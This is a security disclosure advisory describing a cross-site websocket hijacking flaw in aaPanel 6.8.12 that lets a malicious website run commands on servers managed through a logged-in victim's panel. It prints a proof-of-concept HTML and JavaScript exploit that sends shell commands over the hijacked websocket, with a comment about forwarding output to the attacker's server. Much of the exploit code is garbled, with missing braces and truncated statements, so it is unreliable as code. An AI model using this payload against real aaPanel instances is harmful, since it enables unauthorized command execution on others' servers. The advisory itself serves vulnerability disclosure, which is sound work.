SSD Advisory – aaPanel CSWH to RCE


Find out how a CSWH hijacking vulnerability in aaPanel allows remote attackers to cause an authenticated user to execute arbitrary commands inside aaPanel’s managed servers.

Vulnerability Summary

aaPanel, a simple but powerful control panel, can manage the web server through web-based GUI(Graphical User Interface).

aaPanel provides “the one-click function such as one-click install LNMP/LAMP developing environment and software. Our main goal is helping users to save the time of deploying, thus users just focus on their own project that is fine”.

If an unsuspecting victim visits an attacker site, while being logged on to aaPanel, an attacker can cause his browser to access aaPanel managed servers and run commands on them without his knowledge.




An independent security researcher has reported this vulnerability to the SSD Secure Disclosure program.

Affected Versions

aaPanel LinuxStable 6.8.12

Vendor Response

We have reported the vulnerability in aaPanel’s github repository and have not received any response.

Vulnerability Analysis

aaPanel allows web based SSH connection to be put in place, these SSH connections are communicated with via websockets. aaPanel has been found to not perform any origin validation when initialising a SSH connection from client to the server. Hence, it is possible to perform a cross-site websocket hijacking attack which can result in remote code execution (on the managed instance).

Requirements (to exploit)

  1. Knowledge of the IP/FQDN of the aaPanel
  2. Victim has to visit a malicious web site with Firefox (the vulnerability doesn’t work with Chrome)
  3. Victim has to have configured Terminal with at least one managed instance
  4. Victim has to have been logged on to the aaPanel prior to have visited the malicious web site


<!DOCTYPE html>
<meta charset="utf-8" />
<title>CSWH Hijacking exploit</title>
<script language="javascript" type="text/javascript">
var wsUri = "ws://"; //WS URL of the vulnerable app
var output;

//Auth check in

function init(){
  output = document.getElementById("output");
function testWebSocket(){
  websocket = new WebSocket(wsUri, );
  websocket.onopen = function(evt) { onOpen(evt) };
  websocket.onclose = function(evt) { onClose(evt) };
  websocket.onmessage = function(evt) { onMessage(evt) };
  websocket.onerror = function(evt) { onError(evt) };

function onOpen(evt){ //when the WS is connected, send a message the server
  doSend("cat /etc/issue;whoami;ls -la\n");

function onClose(evt){

function onMessage(evt){ //when recieving a WS message, send it in POST to my server
  writeToScreen("RECIEVED : " +;

function onError(evt){
  writeToScreen('<span style="color: red;">ERROR:</span> ' +;

function doSend(message){ //function for sending messages via the WS
  writeToScreen("SENT : " + message);

function writeToScreen(message){ //function for showing errors and other info
  var pre = document.createElement("p"); = "break-word";
  pre.innerHTML = message;

window.addEventListener("load", init, false);  //when loading the page, execute init()
// creating Websocket --> sending a message --> recieving the response and forward it to our server

<h2>WebSocket Exploit</h2>
<div id="output"></div>


Interested in Cross Site Scripting? You may be interested in these:

Looking to submit a Cross Site Scripting vulnerability?

Talk to us!